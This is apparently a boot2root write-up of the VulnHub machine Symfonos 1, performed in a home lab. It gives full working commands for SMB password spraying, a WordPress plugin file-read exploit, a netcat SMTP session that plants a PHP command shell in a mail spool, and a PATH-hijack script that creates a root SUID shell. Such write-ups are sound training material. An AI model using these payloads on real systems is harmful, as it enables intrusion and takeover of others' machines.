Writeup · VulnHub · Boot2Root

Symfonos 1

A tidy chain that rewards reading everything the box hands you. An open Samba share leaks a password policy that is the password list; a hidden WordPress install carries a plugin with a file-read bug; that read primitive becomes code execution by poisoning a mail spool over SMTP; and a careless SUID helper that calls curl without a full path gives up root. No CVE-grade exploit needed past the LFI — the rest is misconfiguration.

target 192.168.56.131 os Debian 9 app WordPress 5.2.2 difficulty Easy result root · proof.txt
// 00

Executive summary

Symfonos 1 is a Greek-mythology-themed boot2root where every step is a misuse of something left exposed. The path from unauthenticated outsider to root:

root@pen-test-lab:~ — kill-chain
# 1 recon → SMB + SMTP + HTTP; anonymous share leaks 3 passwords # 2 smb → helios:qwerty → notes reveal hidden path /h3l105 # 3 lfi → WordPress site-editor plugin (CVE-2018-7422) # 4 rce → SMTP mailbox poisoning → PHP via LFI → shell as helios # 5 privesc → SUID /opt/statuscheck relative-curl PATH hijack → root
Credential / flagValueWhere
helios (SMB / web user)helios : qwertyanonymous share hint → helios share
footholduid=1000(helios)site-editor LFI + mail poison
proof.txtroot shell (euid=0)/root/ (as root)

PHASE 01 · reconnaissance

A chatty Samba box

nmap -sT -sV -p- 192.168.56.131
# 22/tcp  open  ssh      OpenSSH 7.4p1 (Debian 9)
# 25/tcp  open  smtp     Postfix smtpd
# 80/tcp  open  http     Apache httpd 2.4.25
# 139/445 open  smb      Samba 4.5.16 (WORKGROUP)

SMB + SMTP + HTTP together is the tell: SMB usually holds the breadcrumb, SMTP is the delivery mechanism, and HTTP is where the payload fires. Enumerate the shares first:

smbclient -L //192.168.56.131/ -N
# helios      Disk   Helios personal share  (auth)
# anonymous   Disk                          (readable, no creds)
enum4linux -U 192.168.56.131   # user: helios

The anonymous share maps without credentials. Inside is a single note:

smbclient //192.168.56.131/anonymous -N -c 'get attention.txt'
cat attention.txt
# Can users please stop using passwords like
# 'epidioko', 'qwerty' and 'baseball'!   ← a ready-made password list
# -Zeus
Takeaway. A password-policy scolding that names the actual passwords is a credential list with extra steps. Three candidates, one known user (helios).
PHASE 02 · credentialed smb

helios : qwerty

Spray the three candidates against the helios share. The second one lands:

for p in epidioko qwerty baseball; do
  smbclient //192.168.56.131/helios -U "helios%$p" -c 'ls'
done
# qwerty → research.txt, todo.txt
smbclient //192.168.56.131/helios -U 'helios%qwerty' -c 'mget research.txt todo.txt'
cat todo.txt
# 1. Binge watch Dexter
# 2. Dance
# 3. Work on /h3l105       ← hidden web path (leetspeak "helios")
Why it works. The box leaks the username in SMB enumeration and the password in a world-readable share, then the authenticated share hands you a directory name you'd never have guessed. Each disclosure feeds the next.
PHASE 03 · local file inclusion

The site-editor read primitive

/h3l105 is a WordPress 5.2.2 install running the site-editor plugin. That plugin has an unauthenticated LFI — CVE-2018-7422 — in ajax_shortcode_pattern.php, whose ajax_path parameter is passed straight into a file read:

P=/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes
curl "http://192.168.56.131$P/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# helios:x:1000:1000:,,,:/home/helios:/bin/bash

Arbitrary file read as the web user — but read alone isn't a shell. It needs something attacker-controlled to read back.

PHASE 04 · lfi → rce

Poison the mail spool, read it back

Postfix on port 25 writes every delivered message to the recipient's mailbox at /var/spool/mail/<user> — a file the LFI can read. Mail helios a message whose body is PHP, then include the mailbox through the LFI with a command parameter:

# local mail domain is symfonos.localdomain, not symfonos.local
nc 192.168.56.131 25 <<'EOF'
HELO symfonos.localdomain
MAIL FROM:<attacker@evil.com>
RCPT TO:<helios@symfonos.localdomain>
DATA
Subject: pentest

<?php system($_GET['c']); ?>
.
QUIT
EOF
# 250 2.0.0 Ok: queued as 51FEB40B8E
curl "http://192.168.56.131$P/ajax_shortcode_pattern.php?ajax_path=/var/spool/mail/helios&c=id"
# uid=1000(helios) gid=1000(helios) groups=1000(helios)...

The web server itself runs as helios, so the first command execution already lands as the target user — no further pivot needed.

Gotcha. Postfix rejected helios@symfonos.local with "Relay access denied". The server greets as symfonos.localdomain — matching the recipient domain to mydestination is what gets the message queued instead of bounced.
Why it works. LFI escalates to RCE whenever the attacker can write attacker-controlled bytes into a file the include can reach — a log, a session, or here a mail spool. The read primitive plus a writable sink equals code execution.
PHASE 05 · privilege escalation

SUID curl-by-name → root

A sweep for SUID binaries turns up a non-standard one in /opt:

find / -perm -4000 -type f 2>/dev/null
# /opt/statuscheck   ← -rwsr-xr-x root root, custom binary
strings /opt/statuscheck
# curl -I http://localhost     ← calls curl WITHOUT a full path

Because it invokes curl by name, the lookup follows $PATH. Drop a malicious curl earlier in PATH, run the SUID binary, and your script executes as root. It copies a root-owned bash and sets it SUID:

# fake curl — note the -p on the shebang (see below)
printf '#!/bin/bash -p\ncp -f /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' > /tmp/curl
chmod 755 /tmp/curl
PATH=/tmp:$PATH /opt/statuscheck          # fake curl runs as root
/tmp/rootbash -p -c 'id; cat /root/proof.txt'
# uid=1000(helios) euid=0(root)
# Congrats on rooting symfonos:1!
Two traps worth flagging. The fake curl must use #!/bin/bash -p — without it, bash drops the inherited root euid back to helios on startup and the copy ends up owned by helios. And set the SUID bit after any chown: changing ownership clears the setuid bit, so a chmod +s followed by chown silently un-SUIDs the file.
Why it works. A SUID binary runs as its owner (root). If it executes a helper by name rather than absolute path, the caller controls which binary that name resolves to — a textbook PATH hijack, and one of the most common real-world privesc patterns.
// remediation

What the defender should fix

// toolkit

Tools used

nmapsmbclientenum4linuxwpscancurlnetcat (SMTP)GTFOBins (PATH hijack)no metasploit
root@pen-test-lab:~ — full chain
anonymous SMB share → attention.txt (epidioko / qwerty / baseball) └─ helios:qwerty on helios share → todo.txt → /h3l105 └─ WordPress site-editor LFI (CVE-2018-7422) → /etc/passwd └─ SMTP mail to helios + LFI /var/spool/mail/helios → RCE as helios └─ SUID /opt/statuscheck relative-curl PATH hijack → root
← all writeups

Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.